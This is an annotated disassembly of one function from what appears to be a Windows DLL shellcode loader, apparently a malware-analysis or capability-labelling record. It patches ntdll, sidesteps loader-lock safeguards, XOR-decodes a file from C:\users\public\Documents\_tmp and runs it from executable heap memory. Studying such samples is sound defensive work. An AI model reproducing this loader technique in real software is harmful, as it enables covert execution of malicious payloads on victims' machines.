Function at 0x180001120
Capabilities:
Encode data using xor
Parse pe header
Read file on windows

Disassembly:
sub rsp, 0x48
cmp edx, 1
jne 0x18000140d
mov qword [rsp + 0x50], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r14
movaps xmmword [rsp + 0x20], xmm6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r11, rax
xor edi, edi
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1800011e3
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
jne 0x1800011e3
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
movzx r10d, word [rcx + 6]
add rbx, rax
mov r8d, edi
test r10d, r10d
je 0x1800011e3
lea rsi, str..text
nop word [rax + rax]
movsxd r9, r8d
lea rax, [r9 + r9*4]
lea rdx, [rbx + rax*8]
mov rax, rdi
nop
movzx ecx, byte [rsi + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1800011db
cmp rax, 6
jne 0x1800011b0
lea rax, [r9 + r9*4]
lea rcx, [rbx + rax*8]
mov ebx, dword [rbx + rax*8 + 0xc]
mov eax, dword [rcx + 8]
add rbx, r11
mov dword [rsp + 0x58], eax
jmp 0x1800011e6
inc r8d
cmp r8d, r10d
jl 0x1800011a0
mov rbx, rdi
mov ebp, dword [rsp + 0x58]
lea rdx, [0x180004044]
add rbp, rbx
mov r9d, 7
mov r8, rbp
mov rcx, rbx
call section..text
test rax, rax
je 0x180001226
mov edx, dword [rax + 0x15]
mov dword [rdx + rax + 0x1a], edi
mov edx, 0xefff
mov rax, qword gs:[0x30]
and word [rax + 0x17ee], dx
mov r14, qword gs:[0x60]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x1800012a5
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x110]
call rax
lea rdx, str.LdrFastFailInLoaderCallout
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000127d
mov edx, dword [rax + 0x18]
mov dword [rdx + rax + 0x1d], 2
mov r9d, 0xa
lea rdx, [0x180004038]
mov r8, rbp
mov rcx, rbx
call section..text
test rax, rax
je 0x1800012a5
mov ecx, dword [rax + 5]
mov dword [rcx + rax + 9], 2
movdqa xmm6, xmmword [str.aaaaaaaaaaaaaaaa]
lea rdx, [0x18000322c]
lea rcx, str.C:userspublicDocuments_tmpencrypted.bin
mov rsi, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, qword [rsp + 0x30]
mov rbx, rax
test rax, rax
je 0x1800013c0
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
movsxd rsi, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
jne 0x18000131d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1800013c0
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x1800013bd
cmp rsi, 0x40
jb 0x18000139a
mov rcx, rsi
lea rax, [rbp + 0x20]
and rcx, 0xffffffffffffffc0
movdqu xmm0, xmmword [rax - 0x20]
add rdi, 0x40
lea rax, [rax + 0x40]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm6
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x30], xmm0
cmp rdi, rcx
jb 0x180001350
cmp rdi, rsi
jae 0x1800013bd
mov rcx, rsi
lea rax, [rdi + rbp]
sub rcx, rdi
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x61
lea rax, [rax + 1]
sub rcx, 1
jne 0x1800013b0
mov rdi, rbp
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8, rsi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
movaps xmm6, xmmword [rsp + 0x20]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x48
ret